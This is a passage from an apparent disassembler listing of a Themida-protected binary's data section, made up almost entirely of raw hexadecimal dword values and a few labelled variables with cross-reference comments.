		dd 6FA9989Dh, 0C3B15322h, 0D13C3ED9h, 0EA18D0DAh, 0A942F3E8h
		dd 0A75226Fh, 0AA900FF9h, 4B226FA9h, 6FEBFCB7h,	0E81C745Eh
		dd 0EC76A28Ch, 0C5EDE0F9h, 39E4E6D2h, 95ECD2E7h, 24000000h
		dd 518B7156h, 7D6210F3h, 0CF35F521h, 40C694A5h,	0BCB34E38h
		dd 3DEC847Eh, 0B0654558h, 7B72B147h, 5C99A221h,	11392270h
		dd 0EC98321Eh, 5C2AD2E7h, 501CF8Bh, 16B7C73h, 0A3000000h
		dd 0F5A4CA37h, 0C3C5E210h, 9C93204Ch, 5717EA42h, 87F1156Dh
		dd 0B4BE459Dh, 0E09072CAh, 281BABF6h, 0E4D7790Fh, 0E17BF30Eh
		dd 197D6348h, 0CE6527CEh, 4A6999D7h, 34CFB9B9h,	0A4A53F4Fh
		dd 6F80BCE1h, 0C87DBC0h, 51FAB074h, 1288ADA2h, 0C42F2270h
		dd 5C2AC3CDh, 7DD5CCA8h, 3E5F8856h, 2BC6B0C8h, 1FE5231Ah
		dd 0EE136B55h, 0C73E9680h, 986DC5AFh, 7FF310DEh, 4F71195h
		dd 0EADDE7EBh, 0D584F014h, 7D043126h, 50BB226Fh, 6B974F59h
		dd 7CC37267h, 89F4226Fh, 0CD368E78h, 3060BBA5h,	789513Dh
		dd 5E67D2E7h, 9F000000h, 0BDA7CD37h, 0EAD49E65h, 5F3528CAh
		dd 7D35CFA5h, 0AB03ED87h, 0CDA1605Bh, 0A83F0DBCh, 3FBFC2DEh
		dd 3849768Eh, 5D8CE741h, 12FC728Fh, 6D608077h, 0E8015981h
		dd 4B97D2h, 37CF0000h, 5A1AEACDh, 0DAC4D570h, 0BF56582h
		dd 8D8231C0h, 226F7DA8h, 30D6A40Fh, 3E315148h, 3ED89C68h
		dd 0A4CA376Ch, 7CFF3BBAh, 0A7CF226Fh, 0E02C8B4h, 0DBC0D2E7h
		dd 0BD042837h, 0C0B564B0h, 226F5B75h, 0D7E8DF4Ah, 1, 0A6CC370Fh
		dd 0DFD483BCh, 226F7D56h, 0F7EA2A69h, 19715EAFh, 2FD31108h
		dd 0E3F48084h, 685B75F9h, 52017192h, 0BF58184h,	0BF6F7970h
		dd 0C372216Ah, 7D6711F5h, 8495DF25h, 5522288Dh,	83322446h
		dd 9A53A78Eh, 0B6AD1828h, 97EFD944h, 0D26B056Bh, 5E0E01EDh
		dd 9378725Dh, 0FD9D03CEh, 619F963Ah, 7120CFA1h,	99B1B97Ch
		dd 9C93FE28h, 0C73B0942h, 4C5D19ECh, 0B24BF055h, 26B52899h
		dd 0B2B38277h, 99042899h, 0D88F82A2h, 0EC5F7FF3h, 0F7D63Ah
		dd 963040C2h, 624C24DEh, 0CAA85B29h, 36D95D3h, 2E40C119h
		dd 5D19EC44h, 8CEA1B73h, 0F90307A2h, 0DFE9ED06h, 918635ECh
		dd 289A16A4h, 7CB2DC1Bh, 0AC4F838Bh, 9C66A49Bh,	5E6C3AD4h
		dd 72D9112Eh, 110h, 0AB8FFEE3h,	79ECC4F2h, 0EA3F2A82h
		dd 0EDFDF2A1h, 0B2244559h, 0FD055D47h, 0E121D973h, 0B54DA58Fh
		dd 3943D1BBh, 45C18F46h, 4FE3C33h, 0C604D26Ch, 0FCD91132h
		dd 0AAA1B92Eh, 6899h, 0E63FD100h, 549324E0h, 700BF506h
		dd 7D69CCC1h, 0E34E226Fh, 0A72E23D2h, 585D9083h, 0B18403EDh
		dd 3AA26F7Ch, 4FBEA8C8h, 2C68C57Bh, 0B82FFD6Ah,	0A460B8A2h
		dd 0A94BE6D0h, 71132C1Fh, 0CD26F4E7h, 0F5E0D584h, 0DDDD8FA7h
		dd 0EFE4D80Fh, 22705846h, 13FD0E79h, 0A40F8178h, 0CDC2710Ah
		dd 22705868h, 0BBEDE44Fh, 6Ch, 0A1EA3FF9h, 73A5FDF2h, 0E1EA2445h
		dd 998C49ECh, 0F2036E28h, 1E52B008h, 3A36CC84h,	8BEFD150h
		dd 61F12899h, 66A986Eh,	1E67BC6Ch, 4311C06Fh, 2DC8B2C0h
		dd 998BFD38h, 6057C228h, 883707FBh, 38CD9B2Ah, 0C2B9543Eh
		dd 0C2FBE550h, 0D1C610F4h, 228AD164h, 0E8DFF05Bh, 2E1858AAh
		dd 0CF9D90AAh, 8D82317Ah, 24797C75h, 6335CF3Ah,	0F2A1EA3Fh
		dd 5E2805FDh, 0F5DF4A24h, 6018EEBCh, 0D879BCB1h, 0D33E28A0h
		dd 0C649EDCh, 7CB9AE5Dh, 4328A0D8h, 1FD7E1D8h, 3E32D0E3h
		dd 30997E2Dh, 0DEA4874Ah, 3972CCC3h, 0F3D8966Bh, 8D9F59CCh
		dd 6ED3CABFh, 5EBA8A49h, 8A7745E6h, 0DACDEDE4h,	0B67F7423h
		dd 99F4593h, 9969A79Eh,	947928D7h, 8ED9D194h, 0ED483DDFh
		dd 0D29F462Bh, 0AE667067h, 0CDA35F54h, 8C7AD2BCh, 0B29CD22Fh
		dd 981C0617h, 0EFD48B7Eh, 0FC092331h, 10F5907Ah, 628553F7h
		dd 62730EF8h, 18026E94h, 0BA48867Dh, 9E831CB6h,	5F96F02Bh
		dd 0F12F2601h, 3C755F11h, 0F1DB936Eh, 0D2D5F56h, 0A4000000h
		dd 59432BD6h, 62730501h, 0D62E136Bh, 0C1ABB137h, 0EDD79969h
		dd 1E085295h, 4D373FC6h, 7B650FF5h, 0A993E123h,	0D9C3B551h
		dd 6F08281h, 311B53AEh,	2E5F6816h, 14890000h, 58786824h
		dd 34890000h, 2D806824h, 1C890000h, 4CBF5724h, 0BE108838h
		dd 0F5A92322h, 3C8BFE01h, 4C48324h, 2D3C68h, 24248900h
		dd 4240481h, 5B000000h,	8B850h,	0D8010000h, 242C8156h
		dd 579821F2h, 81008Fh, 579821F2h, 241C8B58h, 81E38953h
		dd 4C3h, 4C38300h, 5C241C87h, 5E2434FFh, 0E904C483h, 0FFF91D02h
		dd 0ECC46E3Ch, 5D13B0F3h, 0B80D2587h, 63160B5h,	0E0FFC503h
		dd 3B1E4E63h, 5C2CAA28h, 40E2D9Ch, 46095BD6h, 4D1DE71Ch
		dd 4AA31815h, 3A6E6BEh,	78CD4FFCh, 1EACE64Bh, 340A1923h
		dd 7A29250h, 13E8h, 91748800h, 236EF5EEh, 0CA9F6D45h, 85BABDA9h
		dd 0B61F2027h, 0DB5CB966h, 8085B95Eh, 0C68173D0h, 5B58h
		dd 14E9h, 77E87A00h, 6816164Ch,	5E6D8AD0h, 0C325C561h
		dd 0FEC97144h, 0EA8CBFA7h, 0EF816C17h, 6C17D3E6h, 0FFD9B70Fh
		dd 0D18B6636h, 0BE958h,	9E100000h, 0F78F3A45h, 940E593Ah
		dd 6CE881B3h, 0E86117CCh, 7, 2E50D514h,	0B66010F8h, 0F0815A2Ch
		dd 540525D8h, 0E881FD8Ah, 2C95A263h, 0DE9h, 3E6F9F00h
		dd 0D27B6747h, 3F409BAAh, 0E8503C9Ah, 5, 647D8A40h, 8F5BF9CFh
		dd 9FB96606h, 2EE83E0h,	4E38DB80h, 1EF6804Eh, 1EF81h, 850F0000h
		dd 0FFFFFF8Bh, 0F3DB8166h, 14E80Eh, 272A0000h, 10192F5Fh
		dd 11C3201Bh, 20103851h, 30B83FAEh, 8C0F75FCh, 5, 0D1926DBEh
		dd 8E85B14h, 5F000000h,	0FBBCE79Bh, 8AD788C7h, 0C38158E7h
		dd 69DBh, 1A3D68h, 8B665100h, 0F5F5AF2h, 683h, 8C0F00h
		dd 0FF000000h, 0F3BF0F33h, 0DA816659h, 0C181E5A0h, 604A7353h
		dd 1341C181h, 0EE93120h, 74000000h, 951B0370h, 1CC77FF4h
		dd 94700F14h, 2CF181CDh, 0F2A8B70h, 682h, 850F00h, 51000000h
		dd 0EDC88166h, 83038FEBh, 9E901EBh, 0CF000000h,	0FF7C7386h
		dd 0F78CB5ACh, 4F4B4B4Bh, 20850Fh, 60530000h, 8D0Fh, 5E610000h
		dd 30E9h, 0F3503000h, 690C39D4h, 0DC668326h, 66C498DFh
		dd 890F7C1Fh, 5, 0F57CB760h, 0FF71E961h, 0E80BFFFFh, 0D993365Eh
		dd 0ADB63307h, 0B554412Bh, 11E8A4h, 0E150000h, 4E315B18h
		dd 0ACF4A49Bh, 0A29F058h, 0F6CC3CDh, 183h, 0F59F500h, 0C181DBBFh
		dd 6F1Fh, 0A3BAD88Bh, 0F00001Bh, 398BD8BFh, 0B22EC781h
		dd 0BF0F138Dh, 1FF781DBh, 6639AA1Ch, 0C781C38Bh
		dd 405482B4h, 13E957F5h, 14000000h, 0BA31EF41h,	5DD7AC01h
		dd 0D3FF49E3h, 3C68768h, 18F1111h, 81666051h, 612F79F1h
		dd 30E9815Bh, 8023B45Fh, 0C181D7DCh, 23B45F2Ch,	0EA81C78Ah
		dd 1, 0FFA4850Fh, 850FFFFFh, 9,	3870Fh,	0EC800000h, 83C08B30h
		dd 2A2451BDh, 9750006h,	2A89BD83h, 7400062Ah, 8B535019h
		dd 421B8C0h, 85890000h,	62A2789h, 0BB699D8Dh, 0D3FF062Ch
		dd 0BD83585Bh, 62A2A89h, 50177400h, 421B853h, 85890000h
		dd 62A2789h, 0B8589D8Dh, 0D3FF062Ch, 0C08B585Bh, 226D9D8Bh
		dd 85C6062Ah, 62A27C9h,	0B8526856h, 0B5FF9CA8h,	62A22C9h
		dd 81A9858Dh, 0D0FF062Dh, 68046Ah, 0FF000010h, 2A1599B5h
		dd 0FF006A06h, 0FC085D0h, 0D85h, 0B800h, 8D8D0000h, 62A7066h
		dd 0C88BE1FFh, 4003C38Bh, 0F8053Ch, 508B0000h, 83D3030Ch
		dd 2A1085BDh, 840F0006h, 0Eh, 10859D8Bh, 858B062Ah, 62A1645h
		dd 52510389h, 7993858Dh, 0D0FF062Ah, 0F18BFA8Bh, 0C88BD18Bh
		dd 85C6A4F3h, 62A27C9h,	6D396856h, 0B5FFD41Fh, 62A22C9h
		dd 81A9858Dh, 0D0FF062Dh, 800068h, 52006A00h, 0C08BD0FFh
		dd 2451BD83h, 7500062Ah, 89BD8309h, 62A2Ah, 53501974h
		dd 21B8C08Bh, 89000004h, 2A1A0185h, 0D09D8D06h,	0FF062CBBh
		dd 83585BD3h, 2A2A89BDh, 17740006h, 21B85350h, 89000004h
		dd 2A1A0185h, 719D8D06h, 0FF062CB8h, 8B585BD3h,	859D8DC0h
		dd 8B062A10h, 0FC00B03h, 784h, 8B038B00h, 1889045Bh, 4B41B8h
		dd 7E800h, 673B0000h, 0E98CC7EFh, 8E970h, 15BF0000h, 0D731629Fh
		dd 0E95AAF48h, 7, 452EC731h, 81E6C08Ah,	6767C2h, 0BE800h
		dd 9AE90000h, 2AF8F8C6h, 66391E3Ah, 6850F3Ah, 81000000h
		dd 7BBA74E0h, 685825h, 0E9000000h, 9, 67FE8999h, 78CD3178h
		dd 0D8815E77h, 3D021F13h, 661634FFh, 5A7CC981h,	8154B75Fh
		dd 9DD1FAEFh, 68EF8176h, 66565E8Fh, 0D559F181h,	5524C781h
		dd 830F08B3h, 6, 8E0Fh,	66570000h, 0C11ED881h, 5332048Fh
		dd 3870Fh, 8B660000h, 7E95BC8h,	78000000h, 291C2A02h, 0EE83A8BEh
		dd 2820F03h, 8A000000h,	0FE814EEAh, 0FFFF9960h,	0FF9A850Fh
		dd 0B160FFFFh, 0A3F080D7h, 0CE861h, 4D820000h, 0E130731Ah
		dd 4F8345B1h, 8B663981h, 0BE95FD0h, 23000000h, 7737780Dh
		dd 3DA57D25h, 0C781FF8Ch, 0D874h, 9523D381h, 0EB685B0Dh
		dd 66000035h, 58EEBEBAh, 0F8BF88Ah, 0E98131B7h,	59EBDEB3h
		dd 68E0Fh, 0EA810000h, 592456B9h, 0D9ABE981h, 0F78A5583h
		dd 772DE981h, 5E90391h,	21000000h, 4F050D5Eh, 14E951h
		dd 50190000h, 0DA5F2C62h, 0D7087073h, 572D7C89h, 80DD4B86h
		dd 78F7E48h, 48B0Fh, 0BA660000h, 0EF839193h, 0DE903h, 0F840000h
		dd 203E5E60h, 5C529BCCh, 4F760859h, 3A66DBBEh, 1E8810Ah
		dd 0F000000h, 0FFFF8585h, 14E9FFh, 311B0000h, 3B613C0Eh
		dd 6F87E77Ch, 29001B6h,	0BF81DD52h, 0CAFE5AA3h,	0A80D8724h
		dd 8A490F9Bh, 0A80D8463h, 75EAD5ABh, 0A80D843Bh, 8A490C81h
		dd 57AE5DBAh, 8A490D7Eh, 0A80D852Bh, 75EAD5ABh,	0A80D85F2h
		dd 8A490DACh, 0A80D8A7Ch, 8A49022Eh, 0A80D8AF6h, 75EAD5ABh
		dd 45D42F25h, 3131B33h,	993766C0h, 0D190A752h, 2157932Dh
		dd 0BB73E2D1h, 1AD42F43h, 3131B3Ch, 99376EC0h, 8090A752h
		dd 2157932Ch, 0BB73FED1h, 0C9D42F43h, 3131B3Dh,	99377AC0h
		dd 3C90A752h, 2157932Ch, 0BB73CAD1h, 52D42F43h,	3131B3Dh
		dd 993746C0h, 0C990A752h, 2157932Fh, 0BB73C6D1h, 2CD42F43h
		dd 3131B3Eh, 993752C0h,	4F90A752h, 2157932Fh, 0BB73DED1h
		dd 0AED42F43h, 3131B3Fh, 99375AC0h, 0B590A752h,	2157932Eh
		dd 0BB73D6D1h, 12B8C343h, 0DF152A50h, 6CD24ECEh, 8AFD4AA8h
		dd 0F251A245h, 0EDB2C0D5h, 0ED96A474h, 8A152AA8h, 0A0242945h
		dd 0B496E367h, 0A1D5ADBAh, 0CB152A54h, 415564C6h, 75EAD5BAh
		dd 3AAE63CEh, 8C3F31C1h, 0AB534284h, 0FFEA2211h, 0A4245D55h
		dd 0CF9C3AABh, 0EDDAC3B9h, 86D7E3A8h, 44DAF745h, 0EAE9EED7h
		dd 2359D7CEh, 0CFD22629h, 0A851A2B9h, 62AD6C54h, 351A241h
		dd 27BFEA66h, 6DDB2FEEh, 75131BCCh, 2011294h, 12D0A0D9h
		dd 79AEA474h, 0AE51A1ECh, 22DC0941h, 8C24B291h,	103773BAh
		dd 21732ADFh, 309428C8h, 5BEA2C65h, 8C152BFDh, 988150h
		dd 0AE603A80h, 0D2A5FBABh, 0A42C89EFh, 0EBE957DDh, 61ADE7CEh
		dd 0DF152296h, 6CD24ECEh, 8AFD4AA8h, 0F251A245h, 0E272C0D5h
		dd 0DDDAA474h, 8668A15Ch, 0A8ADE782h, 0CC152A54h, 0B07C30BAh
		dd 529E2C7Eh, 83FC69CEh, 0E2A5B997h, 0F9FA31EFh, 12D0A0D9h
		dd 79AEA474h, 20949A0Dh, 8C551A23h, 21848132h, 215DDF6Eh
		dd 174D629h, 6A985E00h,	1402A5Ch, 549521A9h, 8A15C234h
		dd 290BA245h, 0BB7D94BEh, 0A0242943h, 4D1957DFh, 0A8515E00h
		dd 75532A54h, 82498FD7h, 19CDA152h, 9BFC69CEh, 0E2A5B997h
		dd 0F9FA31EFh, 12D0A0D9h, 79AEA474h, 20949A0Dh,	8C651A23h
		dd 21848132h, 215DDF6Eh, 174D629h, 6A985E00h, 1402A5Ch
		dd 549521A9h, 8260A134h, 6F5DDFCEh, 8A15D611h, 3BFDA245h
		dd 0B91DC995h, 4919197h, 4A38F2DEh, 2851A245h, 0E1AD5A8h
		dd 0A851A25Eh, 8A1523EDh, 2DA05545h, 86902586h,	2851A245h
		dd 4B7332A3h, 2337AA8Eh, 0A1BE4C97h, 0D5D8AE38h, 0CF9E4BA8h
		dd 0A0936BB9h, 669E7F54h, 0C8AD66C6h, 11D5FDFh,	0ED96AE38h
		dd 8A152AA8h, 69C20E45h, 582622B7h, 22FD6276h, 8AD5078Ch
		dd 54D1A245h, 939125ABh, 1151A245h, 8A152A5Dh, 7AD453B2h
		dd 8A1FAF5Bh, 10E0A245h, 4B93E256h, 39191EFh, 319577Fh
		dd 23305E38h, 48DCD611h, 2304A24Dh, 76D1A9B8h, 0A0242925h
		dd 4D1957DFh, 0A8515E00h, 0B92A54h, 0A7B2229Dh,	85E1D4h
		dd 22DC0886h, 8C24B291h, 0F8E173BAh, 4F9FA7FEh,	575793DDh
		dd 20D6A085h, 215DDF6Eh, 174D629h, 6A985E00h, 1402A5Ch
		dd 549521A9h, 8260A134h, 6F5DDFCEh, 8A15D611h, 0AFE9A245h
		dd 75152A54h, 824A37D7h, 20452652h, 309428C8h, 5BEA2C65h
		dd 9BFB2BF5h, 85318694h, 0AC59622Eh, 0AEA58050h, 0A42C89EFh
		dd 0EBE957DDh, 61ADE7CEh, 0DF152296h, 6CD24ECEh, 0FF9E4AA8h
		dd 0A42C294Dh, 8AE96F93h, 451A245h, 0A787D5FEh,	2357885Dh
		dd 4917868Ch, 6DDB2FEFh, 75131BCCh, 28E9C494h, 0BE4CBDh
		dd 0D57A0886h, 7668A358h, 54142924h, 8A1DE89Dh,	2BBD2910h
		dd 175D690h, 0D5DAAA30h, 7650ED58h, 0A851A245h,	18EA80F8h
		dd 0AE7BBA68h, 58B9E2DFh, 32DC0885h, 8C24B291h,	103771BAh
		dd 2173E394h, 83FB63CFh, 0F79C2629h, 0EDDAC3B9h, 82D7E3A8h
		dd 44DAF745h, 0EAE9EED7h, 2359D7CEh, 0CFD22629h, 0A851A2B9h
		dd 75BF8654h, 82498FD7h, 26DDA152h, 25FB6377h, 0BB8DEFCEh
		dd 0CE825D43h, 0ECE4AAECh, 29028EEh, 319577Fh, 23305E38h
		dd 48DCD611h, 2304A24Dh, 76D1A9B8h, 0A0242925h,	4D1957DFh
		dd 0A8515E00h, 32732A54h, 3376B77h, 12D0B0D9h, 7BAEA474h
		dd 4B959232h, 4FD0923h,	866801FEh, 0C9ADDFCCh, 43E96FDFh
		dd 0FD51AA87h, 4E96C6DFh, 0DDDAC2B9h, 8668A15Ch, 0A8ADE782h
		dd 0EC152A54h, 0CEB824FDh, 4F8FA7FFh, 575793DDh, 20A09A87h
		dd 25FB0E03h
		dd 0BB8DEFCEh, 0CE825D43h, 0ECD8ACECh, 0A42C89EEh, 0EBE957DDh
		dd 61ADE7CEh, 0DF152296h, 6CD24ECEh, 8AFD4AA8h,	0F251A245h
		dd 0E19AC0D5h, 0ED96A474h, 8A152AA8h, 0A0242945h, 261957DFh
		dd 2C5E9179h, 8A152A1Eh, 2C5E8979h, 8A152A16h, 2C5ECA79h
		dd 8A152A49h, 2C5E1379h, 8A152A38h, 2A5EF279h, 8A152A5Ch
		dd 2A5EFA79h, 8A152A6Bh, 0A851D6ACh, 8660D554h,	2559D7BAh
		dd 0BB73EECEh, 32DCF143h, 8C244DCFh, 0EDD871BAh, 8A42C3A8h
		dd 0DDAEA245h, 8260D558h, 0CE8538C8h, 7462C65h,	993639DFh
		dd 3C6D552h, 92B85E00h,	75152A54h, 0DDAEAE30h, 6A8FA75Ch
		dd 0FB579323h, 0ED8EB0D9h, 7BAEA474h, 63E96FDDh, 0A851A258h
		dd 75195FABh, 32DCAA30h, 8C244CB8h, 33CB2F16h, 75131B33h
		dd 54142B96h, 8A152ABDh, 0EDDAC345h, 82D7E3A8h,	3044BA45h
		dd 9D8D0000h, 62A2BB9h,	13A8B8h, 0D9858900h, 0E8062A24h
		dd 0
		dd 0D0558h, 3890000h, 13A8E9h, 0AEh dup(0)
		db 3 dup(0)
byte_5C2CAB	db 0			; DATA XREF: Themida_:005603F2o
		dd 365h	dup(0)
		db 0
byte_5C3A41	db 2 dup(0)		; DATA XREF: ___:off_438438o
byte_5C3A43	db 0			; DATA XREF: ___:off_43A570o
dword_5C3A44	dd 7 dup(0)		; DATA XREF: ___:off_43A568o
		db 3 dup(0)
		db 0
		dd 0CDh	dup(0)
		dd 3BE900h, 8B600000h, 2A0B65BDh, 4EF8306h, 0C18BC933h
		dd 0B88320BBh, 4C783EDh, 8BEh, 1BE8D100h, 33D323D2h, 850F4EC2h
		dd 0FFFFFFF1h, 81078941h, 100F9h, 0D3820F00h, 61FFFFFFh
		dd 0EBC88BC3h, 513A910Ch, 0E32F0D31h, 0CEDECD68h, 652E9DAh
		dd 46E90000h, 0B8000006h, 0DA922C30h, 0F5AD4727h, 12CA640Eh
		dd 32EA84F4h, 2C08A2D2h, 4E26DE62h, 6D09FCB4h, 8ECC1BD3h
		dd 0AAC63CF4h, 1C112A10h, 28A0FD19h, 3739099Eh,	11F6A5CBh
		dd 5E467461h, 41F4E9AFh, 7622703Dh, 0A903FA0Bh,	0DAC49651h
		dd 9F38382h, 9E6453B1h,	9ED7C1D2h, 553F33D0h, 7F85C3BAh
		dd 4D20BF5h, 2650B5FEh,	0A690A13Ch, 30D6140Bh, 787CEB74h
		dd 6F90B283h, 0B59A0522h, 1127571h, 2E44BF17h, 5915EC44h
		dd 81CA1F6Fh, 2E52EDD2h, 0C4DD2FCDh, 31FFAECDh,	0E93ACAD0h
		dd 4E6F099Fh, 0C1B8533Dh, 5F1DF65Ch, 6650BB24h,	0E37DF50Eh
		dd 0B09AD82Bh, 4146CD31h, 695CFE1Bh, 68027093h,	9A0001CFh
		dd 0B9FF67BAh, 564D5ECCh, 0D382CB20h, 0B0BF70DEh, 0BCA61155h
		dd 3DD78364h, 0EF86285h, 43126D5h, 0BB59CFBFh, 2DF45950h
		dd 0DE841DF7h, 7473493Ch, 0BA8837E6h, 0FD382D2Dh, 0C27C2206h
		dd 0F97B8957h, 0F348F802h, 71E170Ch, 36A17C22h,	8C917625h
		dd 9A3CDBD6h, 0C8BDDCD3h, 7DF86A56h, 0D85D525Bh, 0FC820875h
		dd 1E9E739Fh, 0CA353759h, 0E950CFB9h, 0A8207B3h, 0A174A9DDh
		dd 855F5A63h, 0D4328A74h, 462ED6A4h, 0D1C4CE5Ch, 0C4B7E7B8h
		dd 0CC695E0Dh, 0F382078Ch, 8D3D9188h, 43327F1Dh, 7, 3C1437Bh
		dd 37810000h, 4CFBAAB0h, 6C5FA767h, 1E1350DEh, 226F9C17h
		dd 9C2F06FBh, 2590226Fh, 67C1B823h, 947EF40Fh, 34EBDE68h
		dd 0E81BA066h, 0F48F798Ah, 3228BFFDh, 5307E098h, 3266F069h
		dd 18CFA598h, 13F0A842h, 0E91D755Fh, 5A4434D2h,	6475E502h
		dd 0CBE56953h, 710102D8h, 0A2AF8D7h, 699B1A49h,	4CB9710Bh
		dd 1DE8402Ah, 26DCAA59h, 0FD08604Ah, 17716879h,	8C6255F7h
		dd 0CA63FD79h, 0BDB74D1Bh, 97066DC8h, 5449525Ah, 5A9705E1h
		dd 635A6BD6h, 11F31h, 0E73F6F00h, 0A65CB49Eh, 7CFE372Ch
		dd 1F14226Fh, 226F7D16h, 0D13C3EA9h, 0C34311C0h, 5F49D0B5h
		dd 35831C9Ch, 877C343Eh, 936E3CEBh, 0B8AE4DBh, 226F8A2Ah
		dd 0B2887B95h, 0CF872151h, 0C3914036h, 0AE493341h, 0FD055DB7h
		dd 2015C473h, 226F8A15h, 0EE483FAAh, 19036B96h,	463042C1h
		dd 0BB918426h, 0A7422C4Ah, 6B5E0096h, 57067095h, 11FB7D89h
		dd 0BD757F76h, 0D07F2E48h, 6F8A5ADBh, 7ABBB022h, 3D226F8Ah
		dd 59A8D0D2h, 0B30D0415h, 6AE6CB7Ah, 0EAFFE75Fh, 21023328h
		dd 4AB52270h, 0FFE9857Ch, 0D52F6D64h, 695323E2h, 0B2A1FCEh
		dd 0AC227021h, 0C2463041h, 4FFEB5A8h, 7020DB5Ah, 7A71DC22h
		dd 0FEADC93Ch, 0ACA3B730h, 5A1AEAA2h, 7B5EF770h, 0D4B97063h
		dd 0B8F208FBh, 508E855Fh, 6E26C0B4h, 0BEF7E179h, 766014F0h
		dd 0BB7FE4DBh, 38226F8Ch, 5719E9CAh, 1045C46h, 0CE338B75h
		dd 5C4FDFA0h, 4C3F7943h, 0FB69B095h, 4D47843Ch,	0B7CF1856h
		dd 7B701383h, 13ADBE08h, 1955AC7Ah, 459D942Fh, 0FBAAB037h
		dd 30C54116h, 140B926Eh, 0D58562BAh, 2EA24126h,	261AFD65h
		dd 3D47D52Fh, 0E773744Ah, 0ED706E4Dh, 3E22226Fh, 0D2E77A8Fh
		dd 0FFFEB145h, 1207B6FFh, 226FE623h, 2B442994h,	73E1A240h
		dd 562D857Ch, 7D83B2A7h, 0C934226Fh, 0FE479CD2h, 0ACBBA04Fh
		dd 0AE590FAEh, 0E0C2271Eh, 34244634h, 8002A34Fh, 0A097E782h
		dd 4614C32Eh, 32CDB7BFh, 7989E13Bh, 5DA55DF7h, 6B966413h
		dd 5AB20C03h, 7CF20FACh, 0FCE6F792h, 71473ADCh,	8D45DF91h
		dd 7E4CFB75h, 6904EE86h, 0A1991872h, 52289A25h,	7ED6C0B0h
		dd 9ED42F84h, 1E0819B4h, 50695CFEh, 0C694434Ch,	0B44F3921h
		dd 9A2576BFh, 0E7DE4928h, 4FED4C7h, 0E81AD26Ch,	7B2AD988h
		dd 9A25AF86h, 0B0A51028h, 289A2585h, 7ED8CF3Ah,	0E58B7745h
		dd 336960FBh, 18E695DEh, 5A08AEEh, 7240EF0Eh, 88EDE494h
		dd 2A701C96h, 6616B01Bh, 0BCF70B11h, 0D1E2F2Bh,	0A3E1695Eh
		dd 23F1245Fh, 0CA791DFh, 4E38A315h, 0C4716615h,	0FB28A0A3h
		dd 8C5B9990h, 6B7C34CEh, 788605EFh, 991B40CDh, 0A1461C0Fh
		dd 9E671FB9h, 5196EED8h, 94C41F09h, 0C15B5A1h, 0C8BB0439h
		dd 0F3000000h, 0AA4CA37h, 27C1B152h, 4BEADF8Eh,	6C226F7Dh
		dd 3ACC0A01h, 13AA8F3Eh, 622886BBh, 843C463Dh, 7745F480h
		dd 61FCE68Ch, 5CA8606Ah, 0C5BA6918h, 226FAB70h,	0DBE5DC47h
		dd 0FA94E223h, 1BB5A542h, 37D19F63h, 40EF857Fh,	0DF1E735Bh
		dd 956D5208h, 83168A52h, 3EB52183h, 1DEF482Dh, 8D0658E6h
		dd 62B63C96h, 0CDAB5B29h, 135148E3h, 139781EFh,	0E90206F9h
		dd 6F0453Ah, 5CC72270h,	0E4514665h, 2E227006h, 7AB8A7Fh
		dd 6A5F2270h, 227006CBh, 407F81ECh, 5A79668Ch, 0E9E0F1A2h
		dd 8C720C77h, 1761A573h, 0AE82BE2Dh, 0EEEF297Fh, 32DF8DDh
		dd 8FA6DA08h, 78F23E98h, 30000000h, 7D8DAB08h, 1C36226Fh
		dd 56BB7D29h, 0CA3A7B88h, 1425C0AAh, 8F22DF1Dh,	51EBFC72h
		dd 59086A99h, 14FE5C8Bh, 1B59AB79h, 0A4621A24h,	82823AD4h
		dd 64A058F2h, 72936110h, 0EAB1A04h, 560E8DE1h, 131D1425h
		dd 32CCAA5Bh, 53ED6D7Ah, 766B679Bh, 226F96BFh, 492DD800h
		dd 0A2B3C45Fh, 0E64F44F3h, 2C226F96h, 6F96FE37h, 5456C122h
		dd 3CE8F2E9h, 3, 37D62E7Ah, 69C1ABB1h, 95EDD799h, 0C61E0852h
		dd 0F54D373Fh, 237B650Fh, 51A993E1h, 81D9C3B5h,	0AE06F082h
		dd 16311B53h, 81E38953h, 4C3h, 4EB8300h, 8B241C87h, 0B7682424h
		dd 8900004Fh, 1E682434h, 8900003Bh, 0BA52240Ch,	631807Fh
		dd 24048152h, 28840757h, 57EE815Eh, 5A288407h, 240C8B54h
		dd 4C481h, 0EC810000h, 4, 89242C89h, 86989F5h, 240C8B5Dh
		dd 81E38953h, 4C3h, 4C38100h, 87000000h, 8B5C241Ch, 89522434h
		dd 4C281E2h, 83000000h,	148704C2h, 73E95C24h, 88FFF8F7h
		dd 0F5EE9174h, 6D45236Eh, 0BDA9CA9Fh, 8638B8BAh, 0C5030631h
		dd 0B5E9D38Bh, 64000000h, 863ED884h, 0A159F37Bh, 0BE761062h
		dd 0DE963048h, 0D8B44E26h, 0FA7A8A0Eh, 195DA860h, 3A20C77Fh
		dd 561AE8A0h, 0C8BDD6BCh, 28A1036Dh, 37EDBD52h,	38BFA9CFh
		dd 4DB70402h, 9D7C1627h, 0DD908423h, 2D0B48F1h,	261BCA22h
		dd 222D050Fh, 0E94E45B0h, 21EAC910h, 0D75E5302h, 0E8226F30h
		dd 314BEADFh, 16C226Fh,	4794F9F0h, 38222E52h, 13h, 2A0F2E76h
		dd 0EBDF5BFAh, 49915830h, 0FE3FE364h, 379EF6EDh, 69C1ABB1h
		dd 95EDD799h, 0C61E0852h, 0F54D373Fh, 237B650Fh, 51A993E1h
		dd 81D9C3B5h, 0AE06F082h, 16311B53h, 3186D368h,	0F6A4E906h
		dd 3443FFF8h, 7E8h, 66449200h, 5FD54D9Fh, 0AE9h, 7B6D6900h
		dd 0EA774680h, 5A271B65h, 81666060h, 0E9E9ADC3h, 11h, 0DFF6ACEAh
		dd 0B1F19AF2h, 0EB139675h, 0C65A11EAh, 860F61B8h, 2, 81615F53h
		dd 6924C2h, 0F606000h, 81h, 30C08100h, 61112085h, 0BB61CB8Bh
		dd 3F053966h, 236FF381h, 13E93F05h, 28000000h, 0A7459D31h
		dd 0EAB36D11h, 2332CC29h, 0CA21C4A9h, 32FF3CBBh, 0AE85Fh
		dd 8CE60000h, 0FFF68CFEh, 0C7D8D066h, 0DE9h, 2996DB00h
		dd 563BD3A0h
		dd 0B731C262h, 8158BED7h, 2CE45EC7h, 6E918h, 0CF70000h
		dd 0E325256Fh, 24B7EF81h, 0F68105A5h, 53A9B83Fh, 24DAEF81h
		dd 66575C97h, 8FB170B8h, 0E30CBE02h, 0EA8373D6h, 604AFC03h
		dd 0F840Fh, 9E80000h, 89000000h, 31A3D53h, 0B935A505h
		dd 7EBA6659h, 0EB8361F2h, 83850F01h, 0FFFFFFFh,	881h, 0E6815100h
